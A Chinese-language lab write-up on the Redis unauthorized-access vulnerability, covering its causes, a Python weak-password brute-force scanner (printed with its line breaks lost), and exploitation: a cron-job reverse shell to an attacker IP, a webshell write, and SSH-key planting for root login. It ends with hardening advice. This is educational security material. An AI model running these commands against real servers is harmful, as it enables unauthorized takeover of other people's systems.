redis数据库基本知识
redis非关系型数据库
redis未授权访问蓝队的成因和危害
漏洞的定义:redis未授权访问漏洞是一个由于redis服务器版本较低,其未设置登录密码导致的登录。
攻击者可以直接利用redis服务器的ip地址和端口完成redis服务器的远程登陆,对目标服务器进行恶意操作
黑客可以直接利用redis的ip和端口对目标服务器的登录,
漏洞成因:
redis版本过低,低于5.05
redis直接暴露在公网上,没有设置不能公网访问,而且端口是默认端口
没有设置密码认证,可以直接免密远程登陆
redis未授权访问漏洞的成因危害
攻击者可通过redis命令向目标服务器写入任务计划来反弹shell,完成服务器的控制
攻击者可以通过redis命令向网站目录写入webshell,完成对网站服务器的控制
最严重的是redis‘是root权限,黑客可以给root账户写入ssh公钥文件,直接通过ssh登录受害访问
漏洞复现
靶场搭建就看这个文章吧
漏洞复现之Redis未授权访问_redis未授权访问漏洞修复建议-CSDN博客
直接空秘密未授权访问,如果不是空秘密也可以弱口令爆破
#!/usr/bin/python2
# -*- coding: utf-8 -*-import socket
import sysdef check(ip, port, timeout):try:socket.setdefaulttimeout(timeout)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((ip, int(port)))s.send("INFO\r\n")result = s.recv(1024)if "redis_version" in result:return u"[+] IP:{0}存在未授权访问".format(ip)elif "Authentication" in result:with open('pass.txt','r') as p:passwds = p.readlines()for passwd in passwds:passwd = passwd.strip("\n")s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((ip, int(port)))s.send("AUTH %s\r\n" %(passwd))# print u"[HACKING] hacking to passwd --> "+passwdresult = s.recv(1024)if 'OK' in result:return u"[+] IP:{0} 存在弱口令,密码:{1}".format(ip,passwd)else:passelse:passs.close()except Exception, e:return u"[+] IP:{0}已过滤".format(ip)passif __name__ == '__main__':port="6379"with open('IP.txt','r') as f:ips = f.readlines()for i in ips:ip = i.strip("\n")result = check(ip,port,timeout=10)print(result)
把密码卸载pass里面,ip写在ip里面
漏洞利用
写计划任务反弹shell
192.168.201.128:6379> config set dir /var/spool/cron/crontabs
OK
192.168.201.128:6379> config set dbfilename yue
OK
192.168.201.128:6379> set xxoo "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.201.129/5555 0>&1\n\n"
OK
192.168.201.128:6379> save
OK
因为在ubvutun里面,不是centos所以,写入的目录也不一样
Centos的定时任务文件在/var/spool/cron/root
Ubuntu定时任务文件在/var/spool/cron/crontabs/root
共有定时任务文件在/etc/crontab
但是在ubuntu中由于root权限的redis创建的文件权限是644,但Ubuntu要求在/var/spool/cron/crontabs/中执行定时任务的文件权限必须是600,如果写入/etc/crontab,因为存在乱码,所以ubuntu无法正确执行。
但计划任务已经写入了
写一句webshell到网站服务器目录
差不多的,shell.php是文件马子,html是目录。然后就是内容。保存一下,访问这个shell.php链接后门就行了
前提,知道网站的物理路径
写ssh公钥实现远程登陆
首先在目标机中运行的Redis服务必须是root权限,否则无法对ssh存储公钥的路径进行访问
前提目标开启了ssh服务
└─# ssh-keygen -t rsa
kali生成密钥对
查看一下.ssh目录
其中id_rsa是生成的秘钥,id_rsa.pub是生成的公钥,我们需要将id_rsa.pub写入目标主机中
进入/root/.ssh并将公钥写入key.txt文件
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
将key.txt文件传入redis靶机
cat key.txt| redis-cli -h 靶机ip -x set pub
直接复制可能会出错,可以险些redis-cli-ip
将redis文件路径设为/root/.ssh,文件名为authorized_keys,并save保存
1)./redis-cli -h 靶机ip
3)config set dir /root/.ssh
4)config set dbfilename authorized_keys
6)save
成功写入ssh公钥
root权限,这个在有一定权限之后拿来提权挺好的
redis安全加固
升级版本到5.0.5以上
默认端口修改一下,并且不暴露在公网之上
设置密码认证,防止免密远程登陆
利用防火墙,ids ,ips对访问redis服务器的流量进行检测拦截
ping
an